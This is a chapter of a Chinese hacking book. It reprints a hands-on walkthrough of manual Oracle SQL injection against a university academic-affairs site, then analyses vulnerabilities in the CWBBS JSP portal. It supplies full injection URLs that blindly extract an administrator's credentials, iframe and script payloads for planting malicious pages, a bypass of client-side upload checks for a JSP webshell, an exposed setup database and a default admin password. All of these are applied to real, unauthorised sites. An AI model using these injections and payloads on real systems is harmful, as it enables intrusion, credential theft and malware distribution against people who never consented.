当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第十四章 JSP整站系统的安全性分析

优质
小牛编辑
122浏览
2023-12-01

前面两章分别为大家介绍了 JSP 的基础知识和 JSP 程序中常见的各种漏洞。相信大家都已经掌握了,不过在实践性还是不够强,所以本章就为大家演示如何从实际中来得到经验。第一个例子演示的是 Jsp+Orcale 手工注入的文章,在前面虽然提到了 Orcale 注入的工具,但不够详细,所以就用一篇 Jsp+Orcale 手工注入的文章来增加 Orcale 注入的一个空白,这样以后在遇到了后台数据库是 Orcale 时,就知道怎么去手工入侵了。Jsp+Orcale 注入的文章是引用的由剑心写的《03 利用 Jsp+Orcale 注入再度杀入教务处》。而第二个例子《分析著名 JSP 商务系统 CWBBS 安全性》则是由我写的,教大家如何分析一个完整 JSP 系统,并从中找出漏洞,这样以后大家就知道怎么去分析 JSP 系统漏洞了。

    1. Jsp+Orcale手工注入

      在 Jsp+Orcale 注入方面的技术文章目前还是比较少,一方面使用 Orcale 数据库的网站并不是太多并且大多数是大型的系统,安全系统非常高。所以一般能够入侵的人也不是太多,就算入侵成功了也不会写文章。因为都是大型系统,如果被公开了影响比较大,很多黑客也考虑自身安全根本不会公布出来。

      不过由剑心写的《利用 Jsp+Orcale 注入再度杀入教务处》确非常好,不仅详细的讲解了 Orcale 数据库的注入技术,而且思路也非常清晰,所以,可以做为以后大家入侵 Orcale数据库的网站的范例。下面就是该文章的内容:

      利用 Jsp+Orcale 注入再度杀入教务处

      大家可能记得上次我写过进入教务处的文章,但是想来想去还是觉得不完美,不只是没有得到网站管理的最高权限,而且前后花费的时间太长,并且是从网段的机器旁注进去的,实在不爽,既然我们是搞脚本的,那么是真的不能从 80 端口渗透么?于是就再次决定去试试了!

      一、判断注入点的数据库类型

      因为网站是 Jsp+Unix 架构的,权限也配置得很好,没有什么目录浏览之类的漏洞,再加上上次的测试也能确定没有什么上传方面的漏洞了。这么少的功能应该是比较安全了,那么剩下的就只能看看有没有注入方面的问题了。整个网站查询数据库的地方有很多,登陆的地方肯定是一个,但是测试了也是没有问题的,那么现在只能看看公告的地方了!主页上有如下一个公告:

      Url:http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=51 00&messageid=4351

      首先提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and 1=1

      正常返回如图 14-1 所示。接着提交:

      http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and 1=2

      返回信息如图 14-2 所示。

      image

      图 14-1 添加 and 1=1 返回正常

      image

      图 14-2 添加 and 1=2 返回错误

      嘿嘿,有了上面两个 Url 提交的结果就可以判断出是存在 Sql 注入漏洞的了,并且能确定是一个 Int 类型的注入点,因为它将我们的 and 1=1 和 and 1=2 也当作 Sql 语句处理了,无论是什么数据库,到这一步都说明我们能注射代码的哦!让我们继续吧!知道了存在注入就应该看看是什么类型的数据库了,直接加个单引号让他出错看看!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351'

      返回跟图 14-2 一样的结果,是出错了,但是也可以知道服务器方面是做了错误屏蔽的,这样我们就不能直接得到数据库类型了,这难不倒我!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351/*jnc

      返回还是如图 14-2 一样的结果,我们知道如果是 Mysql 的话,因为/*是注释字符,那么这个应该正常返回跟图 14-1 一样的结果,这里返回错误说明不应该是 Mysql,那么继续判断吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351--jnc

      返回如图 14-3 一样的结果,呵呵,跟图 14-1 差不多吧!这说明当前的数据库服务器是支持 “--”注释字符的,而跟 Jsp 常用搭配的支持“--”注释字符的,也就 Mssql 和 Oracle 而已,接下来要判断数据库是 Mssql 还是 oracle 了,提交 Url: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351;

      返回如图 14-4 一样的结果,说明是不支持“;”分割的多句查询哦!我们知道 Mssql 是支持 “;”多句查询的,那么这里就应该是 Oracle 了!不过还是提交个 Url 查询下 Oracle 的系统表看看是不是真是 Oracle 吧!Url 如下: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tables)>0--

      哈哈,正常返回如图 14-5 所示,这下确定了这个注入点是 Jsp+Oracle 的int 类型的注入点!

      image

      图 14-3 支持--注释

      image

      图 14-4 不支持;

      image

      图 14-5 确定为 Oracle 的 int 类型的注入点二、猜测后台存放管理员的用户密码的表列名

      到这里就要调整下我们的注入思路了!从系统登陆的地方我们看到可以选择是什么类型的用户,如图 14-6 所示,这里我们关心的肯定是如何取得系统管理员的权限!如果我们知道了用户名和密码是放在什么表中就可以通过这个注入点进行猜测了!查看登陆页面的源代码发现了这两行代码:

      <input name="username" type="text" class="input_text" id="username" size="9">

      <input name="password" type="password" class="input_text" id="password" size="9">

      一般的程序员在写程序的时候为了方便或者习惯,都是将列名做为变量传递的,这为我们黑盒测试带来了方便。Oracle 数据库的注入不同于其他数据库,如 Access 和 Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name里的是系统里存在的列名,我们就可以通过这些系统表来猜测系统的数据库结构了!提交如下连接: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where column_name like '%25PASSWORD%25')>0--

      注意其中的%25 是%的Url 编码,通过这个语句就可以查询 user_tab_columns 系统表,看里面列名与 password 相似的记录的条数,注意列名要用大写表示哦!结果返回如图 1 类似的结果,说明系统里是含有 password 列的,将%25 去掉再次提交返回如图 1 类似的结果,证实了我们的猜测!接着提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where column_name like '%25USERNAME25%')>0--

      用相似的方法证明了 username 列的存在。接下来是判断表名了,提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where table_name like '%25ADMIN%25' and column_name like '%25USERNAME25%')>0--

      返回错误,说明应该不存在一个名字里含有 admin 并且列名里含有 USERNAME 的表,接着判断下有没有名字里含有 USER 的目标表吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>0--

      嘿嘿,运气不错,还真有这样的表!看看有几个吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME25%')>1--

      这下出错了,看来只有一个这样的表哦!继续吧!看看这个表名是什么!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=4 and column_name like '%25USERNAME25%')>0--这句是猜名字含有 USER 那么长度至少是 4 啦,提交后返回错误,说明表名不是 USER,提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from user_tab_columns where table_name like '%25USER%25' and length(table_name)=5 and column_name like '%25USERNAME25%')>0--正常返回啦,表名是 5 位哦?是什么呢?试试 USERS 吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from users)>0--

      正常返回啦!嘿嘿,表名和列名都猜到了,现在来查询我们需要的东西吧!提交: http://fuckjwc/hust//pub_message/message.jspfmodulecode=5100&modulecode=5100&me ssageid=4351 and (select count(*) from users)>100--

      晕!正常返回啦!表里的记录这么多啊!看来很可能这是学校的所有人的用户名字和密码都

      在这里呢!看看我的在不在里面吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from users where username='0207******')=1--居然正常返回了,也就是说普通用户的信息是放到这个表里的!那么管理员的信息是不是在这个表里呢?去公告里看了看,发现有个 zhaoyi 的用户,用 zhaoyi 登陆教务管理员发现提示密码错误,看来是存在这个用户名的,并且属于教务管理员权限,提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from users where username='zhaoyi')=1--

      正常返回,嘿嘿,这给了我一点点希望,既然教务管理员的信息是放到这个表里的那么系统管理员的信息不也可能放到这个表里么?但是它是如何来区分用户的类别的呢?这个时候我记起来了在登陆的地方有个选择类型的登陆表单,去查看源文件发现了这个 utype 变量和下面的代码:

      <input type="radio" name="utype" value="8">系统管理员</td>

      嘿嘿,很有可能是通过 utype 这个变量来决定用户的权限的哦!并且根据编程人员的习惯很有可能 utype=8 代表的是系统管理员,让我们看看是不是有这个列吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(utype) from users)>0--

      太让人难过了,返回信息还是如图 14-2 所示,也就是说不存在 utype 这个列,不过肯定是存在与这类似的一个列的,提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(type) from users)>0--

      哈哈,正常返回了!看看我的 type 类型值是不是登陆表单处的 1 吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select type from users where username='0207******')=1--

      很惊喜地发现我们的猜想是对的,我的 type 值是 1,现在看看 type 值为 8 的人有几个吧!提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 and (select count(*) from users where type=8)=1--

      果然符合系统管理员的身份,这样的用户只有一个,我们的目标也就明确了哦!

      接下来是猜测管理员的用户名和密码,这里有个插曲拿来说下,也给大家一起讨论下。本来想偷懒用 Union 查询的,因为 union 查询要求系统前后查询的列数和列的类型都相同,所以首先提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4351 order by 23--

      利用 order 猜测出了这个 select 查询语句的列数,然后就是艰苦的猜测列的类型了,提交: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL

      ,NULL,NULL,NULL,NULL,NULL,NULL,NULL from users--

      提交这个连接正常返回,因为 NULL 是可以匹配所有类型的变量的,然后就是按顺序从头到尾慢慢匹配每个列的类型。因为 Oracle 列有三个类型,数字型,字符型和日期型,所以分别用数字,字符和 TO_DATE('2006','yyyy')替换,但是当所有的类型都匹配完成,提交 Url:

      http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and 1=1 union select 111,222,333,444,'jnc1','jnc2',555,'jnc3','jnc4',666,'jnc4',777,'jnc5','jnc6','j

      nc7','jnc8',888,'jnc9',TO_DATE('2006','yyyy'),999,100,'jnc10','jnc11' from users where username='zhaoyi'--

      正常返回,但是当我激动的将前面的 and 1=1 变成 and 1=2 的时候,郁闷的情形发生了,返回了如图 14-2 的情况,我对 Oracle 注入并不精通,有人知道解决的办法欢迎来手册指教!

      三、得到后台管理员的用户密码

      插曲讲完了继续我们的注入之旅吧!好在用户名和密码估计也不会太长,利用 Oracle的几个字符函数如 length()可以得到字段的长度,然后就可以利用 substr()函数取得字符串的某一个特定的字符,最后为了猜测方便就用 ascii()函数将字符转换成 ascii 码,就方便猜测了!构造的猜测语句如下: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and (select length(username) from users where type>4)>1--

      正常返回,用户名长度大于 1 http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and (select length(username) from users where type>4)>2--

      返回错误,用户名长度等于 2 http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and (select ascii(substr(username,1,1)) from users where type>4)>97--

      返回错误,应该第一位是数字

      ......//二分法大家都会了吧!

      最后猜测出用户名字居然是 15,先不吐血了,继续猜测密码!用上面猜测用户名的办法提交:

      http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and (select length(password) from users where type>4)>10--

      返回错误

      ......

      长度为 8

      然后猜测密码吧: http://fuckjwc/hust//pub_message/message.jsp?fmodulecode=5100&modulecode=5100&m essageid=4352 and (select ascii(substr(password,1,1)) from users where type>4)>97--

      ......

      费了 N 长的时间终于把密码猜测出来了!密码为 s8*****n!

      去后台登陆试试!嘿嘿,果然是系统管理员呀!如图 14-6 和图 14-7 所示,看了看,也没有什么好玩的!还是得不到 webshell,不过尝试了一次 Oracle 的注入,感觉还真不错!

      image

      图 14-6 后台登陆

      image

      图 14-7 进入后台

      另外这个系统采用的是清华大学的一个教务管理程序,大家快去看看自己的教务处是不是采用的这种系统呵,不是学生的就不用看了!有什么问题欢迎到论坛讨论,我的 ID 是剑心。

      编辑点评:Oracle 的注入文章和工具在网上并不多见,这篇文章手工注入了 Oracle 网站,同时给出了注入原理和方法,可以给初学 Oracle 注入的读者一个感性的认识。

    2. 分析著名JSP商务系统CWBBS安全性

CWBBS 的中文名叫云网论坛,它是采用 JSP 环境开发一套系统。集中了论坛、CMS(网站内容管理系统)、博客、聊天室、商城、交友、语音灌水等于一体的门户式社区。这样功能非常全面的 JSP 系统在目前国内还是少见的,对于这个系统的更多内容大家可以去参考官方网站(http://www.cloudwebsoft.com/)的详细介绍。目前非常多的网站使用这个系统作为自己的门户系统,用关键字“Powered by CWBBS”就可以搜索到使用这个系统的网站数目,为 9330,如图 14-8 所示。这在国内的 JSP 系统中使用的比较多的一个系统,也是站长网极力推荐的一个 JSP 商务系统。

image

图 14-8 使用 CWBBS 系统的网站

虽然这个系统功能非常的强大,但是存在一些安全问题,其中最为严重的要数脚本跨站漏洞。至于注入漏洞方面防御的比较好,下面我们就来分析这套系统所存在的漏洞代码吧,为了更好的增加实战性,这里我用使用这个系统的网络来做测试,我们自己不搭建环境了。

这个系统因为采用的是 JSP+JavaBean+Servlet+MySQL 架构的,很多代码分析起来是比较麻烦,难理解的地方我都会加上注释的。

一、 脚本跨站漏洞

这个系统出现问题最多的就是脚本跨站漏洞,很多参数如 ID 都进行了整型转换所以注入漏洞比较少。但是大部分地方都没有对输入代码进行转换,导致出现比较的脚本跨站漏洞,下面就给大家分析这些存在跨站漏洞的代码。 (1)、CMS 跨站

CMS 是用于网站的内容管理系统,它主要用于文章的发布,我们都知道现在不管是什么系统了都对文章有一个评论的功能。而这个评论没有对代码转换的全面的话,就会出现跨站漏洞,而这里就是这样。CWBBS 的 CMS 文章的评论也出现了跨站漏洞,问题出在了 doc_show.jsp 文件中,它是用于显示文章的,同时也支持评论。评论的页面如图 14-9 所示,因为“姓名”和“来自”输入框没有对数据进行转换,所以出现了跨站漏洞,如图 14-10所示。

image

图 14-9 评论页面

image

图 14-10 跨站漏洞

我们来看看系统是如何处理这些代码的,先来看看客户端中评论表单的代码,如下所示:

<form name="form1" method="post" action="?op=addcomment">

<td height="24" colspan="3"><span class="style1">&nbsp; 发 表 评 论 <a name="comment"></a></span></td>

<td height="24" colspan="2" align="left">姓&nbsp;名

<input type="text" name="nick" size="15">

................省略代码

<td width="46%" align="left"> 来&nbsp;自

<input name="link" type="text" size="15">

.................省略代码

</form>

从上面我们可以知道,这个评论表单的是由 addcomment 处理的,姓名的 name 属性为

nick,来自的 name 属性为 link。接着我们来看这个表单是如何被处理的,在 doc_show.jsp中搜索 addcomment 就可以找到处理代码了,如图 14-11 所示。

image

图 14-11 搜索 addcomment 找到处理代码

我们把处理代码复制下来,如下所示: String op = ParamUtil.get(request, "op");

//定义一个 op 对象,request 的作用是获得客户端输入的参数 CommentMgr cm = new CommentMgr();

//定义一个cm 对象,作用为执行数据库语句 if (op.equals("addcomment")) {

//执行表单中提交过来的数据 try { //异常处理

cm.insert(request);

//利用cm 对象执行 insert 语句,将我们提交的数据插入到数据库中

}

catch (ErrMsgException e) {

out.print(StrUtil.Alert(e.getMessage())); //发生异常则输出异常原因

}

}

因为采用的是 JavaBean 技术,所以我们是看不到直接的数据库操作代码了,因为系统

已经把数据库操作代码封装到了 JavaBean 组件中去了。虽然,都被封装到了组件中了,但要进行数据库操作则就是通过对象的方法来引用执行了。上面定义了 op 和 cm 两个对象,op用于获得我们从客户端输入的数据,而 cm 则是完成数据库插入操作,虽然上面不像以前的处理代码不一样,但结果还是一样的。我们可以看到,op 对象获得数据库并没有进行任何的处理和过滤就直接把数据放入到了数据库插入操作中去执行了。没有过滤就把数据插入到了数据库中,难道这不是典型的跨站漏洞吗?

(2)、论坛跨站

论坛是 CWBBS 系统最重要的一个部分,该论坛功能非常的强大。个人感觉功能上还是仿造的动网的,功能多自然漏洞也多咯,下面就来找漏洞吧!

论坛提供了一个消息中心的功能,作用是用于在论坛中的会员间发送消息的功能,如图 14-12 就是该消息中心的页面。

image

图 14-12 消息中心页面

这个功能是好的,不过因为没有对输入的数据进行转换所以发生了跨站漏洞。而且这个功能因为可以给别人发送消息,所以我们可以利用这个功能来挂马,当别人打开我们发送了挂马的消息后就会中招。例如,这里我注册了两个用户,一个为 zengyunhao,另一个为

illue5。这里我用 zengyunhao 向illume5 发送消息,其他消息的标题和内容都为为<iframe

src=http://www.baidu.com></iframe>,如图 14-13 所示。点击发送之后,我们进入收件箱,

就发生了挂马,百度网站被打开了,如图 14-14 所示。

image

图 14-13 向illum5 发送挂马代码

image

图 14-14 挂马成功

上面消息接收者的 name=receiver、消息标题为 title、内容为 content。我们来看看这三个变量是如何在 send_do.jsp 文件处理的,如下所示:

String title,receiver,content,errmsg=""; //定义几个 String 类型的变量 title = ParamUtil.get(request, "title"); //获得消息的标题

receiver = ParamUtil.get(request, "receiver"); //获得消息的接收者 content = ParamUtil.get(request, "content"); //获得消息的内容 if(title.trim().length()==0||content.trim().length()==0)%>

<% errmsg += SkinUtil.LoadString(request,"res.label.message.message","title_content_can_not_ null") + "\\n";

//标题和内容去掉两边的空格后,两者有一个为 0 的话,就弹出消息,显示标题和内容为空 if(!errmsg.equals("")) {

out.print(StrUtil.Alert_Back(errmsg)); return;

}

%> //返回错误提示

<jsp:useBean id="Msg" scope="page" class="com.redmoon.forum.message.MessageMgr"/>

//使用 javabean,调用的是 com.redmoon.forum.message.MessageMgr 专门用于处理消息

<%

boolean isSuccess = false; //设置变量 isSuccess 为 false try {

isSuccess = Msg.AddMsg(request); //利用 javabean 获得客户端输入的所有消息

}

catch (ErrMsgException e) { out.println(StrUtil.Alert_Back(SkinUtil.LoadString(request,"info_operate_fa

il")+e.getMessage())); //如果处理失败,就显示错误提示

}

%>

<% if (isSuccess) { //把获得客户端消息发送出去 out.print(SkinUtil.LoadString(request,"info_op_success"));

}

%>

我们在来整理一下上面的思路,首先我们在客户端输入数据。并且在客户端中会用

javascript 来判断是否输入的数据。数据被传到了服务端后,系统首先去掉标题和内容两边的空格并判断是否为空,如果为空就发送失败。这里我们来演示一下,收件人为 illume5,其中标题和内容全部输入空格,如图 14-15 所示,这样可以通过客户端 javascript 的验证了,因为它只检测是否含有数据,空格当然也算空格了。我们点击提交后,因为服务端会过滤标题和内容两边的空格,所以过滤之后他们的长度都为 0 了,自然就弹出了错误提示框了,

如图 14-16 所示。

image

图 14-15 发送标题和内容都空格的消息

image

图 14-16 发生错误提示

如果我们输入的标题和内容在服务端过滤之后不为 0 的话,就使用 javabean,调用它的是 com.redmoon.forum.message.MessageMgr 类处理消息,并把消息发送出去。上面之所以发生跨站漏洞,是服务端只是简单的判断一下我们输入的标题和内容是否为空,如果为空就弹出错误提示,如果不为空就发送出去。根本没有数据本身进行检测,所以我们输入跨站代码它也不知道,这样就自然发生了跨站攻击了。

论坛相似跨站的地方还有几个,因为处理代码都基本上一样,所以代码就不在分析了。就给大家演示下漏洞。我们可以修改自己在注册时的资料,不过在修改时并没有对输入框中的参数进行过滤,而且这里还提供了签名的功能,所以这个地方输入跨站之后,所有浏览我发的帖子都会发生跨站。所以我们可以通过发一些吸引别人的帖子来达到挂马的目的。

论坛还给了我们普通会员提供了发帖和发起辩论的功能,但是他们也同样没有过滤好,发生了跨站攻击。我这里以辩论作为演示,如图 14-17 和图 14-18 所示。

image

图 14-17 辩论跨站

image

图 14-18 跨站漏洞

(3)、博客跨站

CWBBS 自带了博客也该系统的一大特色,我们只需要在论坛中注册一个用户,然后开通一下博客就拥有的一个博客了。要使用博客之前必须要开通博客,其实就是填写一些博客的信息,如博客名、博客标题等等,如图 14-19 所示。可是图 14-19 中的参数都是没有经过

转换和过滤的,导致出现了跨站漏洞,我们在上面填写挂马代码也发生挂马,如图 14-20

和 14-21 所示。

image

图 14-19 激活博客,填入跨站和挂马代码

image

图 14-20 跨站漏洞

image

图 14-21 博客首页挂马

先来看看服务端中对输入的数据是如何处理的,我们填好了数据之后,点击提交按钮就可以提交数据了,那么来看这个提交是到了那里呢?代码如下所示:

<input type="submit" name="Submit" value="<lt:Label res="res.label.blog.user.userconfig" key="submit"/>">

我们输入的数据被提交到了 res.label.blog.user.userconfig 中,来看看数据是如何在

res.label.blog.user.userconfig 中处理的,如下所示:

<%

String skincode = UserSet.getSkin(request); //获得博客的皮肤数据 if (skincode.equals("")) //如果没有提交,则使用默认皮肤

skincode = UserSet.defaultSkin;

SkinMgr skm = new SkinMgr(); //建立一个 skm 对象 Skin skin = skm.getSkin(skincode); //获得皮肤代码 if (skin==null) //如果为空,则使用默认

skin = skm.getSkin(UserSet.defaultSkin); String skinPath = skin.getPath(); //获得皮肤路径

String userstr = SkinUtil.LoadString(request,"res.label.blog.user.userconfig", "my_blog_add");

//这里为关键代码,将我们输入的数据直接放入到数据库中

userstr = StrUtil.format(userstr, new Object[] {Global.AppName});

%>

上面的代码比较的难懂,因为用 JavaBean 封装了。不过有一些 JSP 代码分析经验还是可以看的出来,上面一个 request 用于获取客户端数据,之后利用系统提供的的组件实现具

体的功能。上面还是可以看出,所有的数据也是没有经过任何安全措施就进入了组件里了,自然漏洞也发生了。

博客还提供了很多功能,如友情连接功能,如图 14-22 所示。

image

图 14-22 链接功能不过它也同样的存在跨站漏洞。客户端代码如下所示:

<form action="?op=add" method="post" enctype="multipart/form-data" name="addfor m1">

……………………省略代码

<INPUT type=submit height=20 width=80 value="<lt:Label res="res.label.blog.user. link" key="add"/>">

可以看到我们提交数据的表单是由文件的 op 对象的 add 方法处理的,其中提交按钮使用的是 res.label.blog.user.link 类,其作用是添加。在来看看是如何处理的这些链接的,代码如下所示:

<jsp:useBean id="privilege" scope="page" class="com.redmoon.forum.Privilege"/>

//使用 javabean 组件,调用 com.redmoon.forum.Privilege 类

<%

LinkMgr lm = new LinkMgr(); //定义对象 lm LinkDb ld = new LinkDb(); //定义对象 ld

String op = StrUtil.getNullString(request.getParameter("op"));

//获得我们在客户端表单中输入的参数,是通过 op 来传递的 if (op.equals("add")) { //如果执行的 add 操作,即添加

try {

//如果是添加操作,就把我们获得的数据,通过 lm 对象的 add 方法添加执行 if (lm.add(application, request))

out.print(StrUtil.Alert(SkinUtil.LoadString(request,"res.common", "info_op_success")));

}

catch (ErrMsgException e) { //如果添加错误,则显示错误信息,并返回 out.print(StrUtil.Alert_Back(e.getMessage()));

}

}

先通过 op 对象获得我们客户端所有输入的数据后,判断操作是否为添加,如果为添加

则使用 lm 对象的 add 方法把数据加入到数据库中。数据并没有经过任何的判断就使用添加方法了,这难道不是漏洞吗?因为直接提交跨站代码被封闭了,所以提交"><script>alert("链接跨站")</script><",如图 14-23 所示。点击添加按钮就把数据加进去了,自然也发生

了跨站漏洞,如图 14-24 所示。

image

图 14-23 插入跨站代码

image

图 14-24 发生跨站

当然,链接不仅仅只有增加的功能,如图 14-22 中,还有编辑、删除、移动的功能。对于添加就相当于执行 insert 操作,而编辑则是 update、删除则是 delete 操作。同样,重新编辑一个链接也同样会发生跨站漏洞,因为代码类似,这里就不在重复了。

博客不仅仅这些地方存在跨站漏洞,如博客后台的目录管理、相册、添加文章、评论等地方都存在跨站漏洞。基本上可以输入数据的地方都存在不同程度跨站漏洞,程序员在编写程序的时候根本就没有到跨站的危害。所有的数据都没有进行任何的过滤。

二、配置不当引起敏感信息泄露

这个本来不是漏洞的,也不是程序的问题。是在搭建网站的时候没有配置好服务器,导致服务器很多敏感信息泄露。这个问题是我在测试使用 CWBBS 系统网站的时候发现的,这和程序并不很大的联系,是服务器没有配置好。

CWBBS 系统中有一个 setup 的目录,该目录下有很多的敏感信息,包括数据库,如图 14-25 所示。

image

图 14-25 setup 目录下的文件

它是用于论坛安装时使用的,不过有一些网站在搭建完系统之后忘记把这个目录给删除掉,使得我们可以进入这个目录下。例如查看 setup.jsp 文件就可以得到服务器上的一些信息,包括服务器类型、网站的绝对路径等等,如图 14-26 所示。

image

图 14-26 setup.jsp 文件泄露的敏感信息

其他文件也可以泄露很多信息,如 setup2.jsp 文件居然可以配置网站后台数据库的连接,如图 14-27 所示。

image

图 14-27 配置数据库连接

我们点击“连接测试”就可以测试出连接数据库是否成功。Setup3.jsp 文件还可以设置网站的环境变量,如图 14-28 所示。

image

图 14-28 设置网站环境变量

当然了,对于这个目录下最重要的东西是数据库我们肯定是忘不了的,直接在后面加是

cwbbs.sql 就可以看到数据库中的所有信息了,如图 14-29 所示。

image

图 14-29 数据库内容

当然,我测试的这个网站不仅仅是 setup 这个目录没有删除,就连服务器也配置非常的不合理,出现了目录浏览漏洞。我们可以遍历服务器目录中的所有文件,我们只需要在

URL 后添加目录名即可遍历目录下所有的文件了,如图 14-30 所示。

image

图 14-30 遍历目录

对于 Tomcat 服务器,我们可以使用关键字“Directory Listing For”就可以找出所有使用 Tomcat 服务器而造成遍历漏洞的服务器,如图 14-31 所示。

image

图 14-31 Tomcat 服务器的遍历漏洞

三、上传漏洞

这个系统最大的也是致命性的漏洞恐怕就要算是上传漏洞了。CWBBS 提供了比较多的上传功能,比如在论坛中发一个帖子的时候就提供了两个上传功能,一个是上传图片、一个是上传附件,如图 14-32 所示。

image

图 14-32 上传页面

我们先在上传图片的上传框中上传一个 JSP 后缀的文件,系统马上就弹出一个对话框,显示只允许上传的文件格式,如图 14-33 所示。

image

图 14-33 只允许上传图片文件

一开始感觉这里还是挺安全的,不过后来一想觉得有点不对。因为我的网速是比较慢的,而这里验证的速度却非常快,根据以往的经验觉得它在本地验证的后缀名。马上来分析代码,终于在文件 uploadimg.htm 中找到了对图片上传处理的代码,如下所示:

function form1_onsubmit() {

var fileName = form1.filename.value; var p = fileName.lastIndexOf("."); if (p==-1) {

alert("文件非法,只允许上传图像文件!"); return false;

}

else {

var len = fileName.length;

var ext = fileName.substring(p + 1, len).toLowerCase(); if (ext=="gif" || ext=="jpg" || ext=="png" || ext=="bmp")

//允许上传的文件类型 else {

alert("文件非法,只允许上传图像文件!"); return false;

}

}

}

看到没有系统只允许我们上传 gif、jpg、png、bmp 这图片文件,其他的任何文件都不允许上传,如果上传了就弹出对话框,显示“文件非法,只允许上传图像文件!”。不过它这里用的 javascript 验证的,我们就有办法对付了。我们先把文件保存到本地,然把上传类型改为 if (ext=="gif" || ext=="jpg" || ext=="png" || ext=="bmp" || ext=="jsp"),这样我们就能够上传 JSP 木马了。当然记得 action 的值要改成绝对路径。利用这个漏洞,我们可以上传 JSP 木马。

我们在来看看上传附件的地方,我们也上传一个 JSP 文件进去,同样也是弹出一个对话框,如图 14-34 所示。

image

图 14-34 不允许上传 JSP

不要以为这里就是在客户端验证了,这里用的服务端验证。而且在验证上也没有漏洞,代码我已经分析过了,这里就不贴出来了。不过对于它我们仍然有办法突破,不过前提是必须进入后台。好在我运气好,居然遇到一个默认口令(用户名:admin 密码:111111)的网站。其后台地址为/cms/index.jsp。

进入后台之后“论坛管理”的“系统设置”下的“论坛配置”按钮就可以进入论坛的配置页面了,在这里可以设置上传文件的后缀名,我们要上传 JSP 木马,只需要往里面添加一个 jsp 后缀就可以搞定了,如图 14-35 所示。

image

图 14-35 往上传合法扩展名中添加 jsp

虽然上面的方法同样可以得到 webshell,但是感觉还是比较麻烦。第一种需要修改代码,而第二种条件则更加苛刻,需要进入后台。不过好在我还发现了另外一个更大上传漏洞,下面我们就来分析分析。

CWBBS 有一个非常好的功能就是支持插件,在系统默认的情况下,论坛中自带了一个商店的插件。利用这个插件,只要是会员都可以申请开一个店面用来做生意。在开店之前要给自己的店面填写一些资料,比如店名等等,如图 14-36 所示。不过这里因为没有过滤我们输

入的数据,所以出现了跨站漏洞,如图 14-37 所示。

image

图 14-36 填写店面的信息

image

图 14-37 发生跨站

在店面中也提供了一个链接功能,上面还允许我们上传图片,我们来上传一个 JSP 文件后,马上返回错误提示,如图 14-38 所示。后来看了下处理代码,发现没什么问题,我们也无法突破。

image

图 14-38 上传错误

店面还提供了一个功能,就是 LOGO,也就是店面的图片标志。我们可以上传图片标识自己的店面,如图 14-39 所示。

image

图 14-39 上传 LOGO

我们先来看看系统是如何对上传的 LOGO 图片如何处理的,要完成对 LOGO 的上传用到了两个文件,一个是 introduction.jsp 另一个是 introduction_logo.jsp 。 先来看 introduction.jsp 的处理代码,如下所示:

<form name="form2" method="post" action="introduction_logo.jsp" enctype="MULTIPART/FORM-DATA">

//LOGO 上传的表单,处理文件为 introduction_logo.jsp

<tr align="center" bgcolor="#F1EDF3">

<td height="22" colspan="2">修改本店标志图片( LOGO ) </td>

</tr>

<tr align="center" bgcolor="#FFFFFF">

<td width="20%" height="22">选择</td>

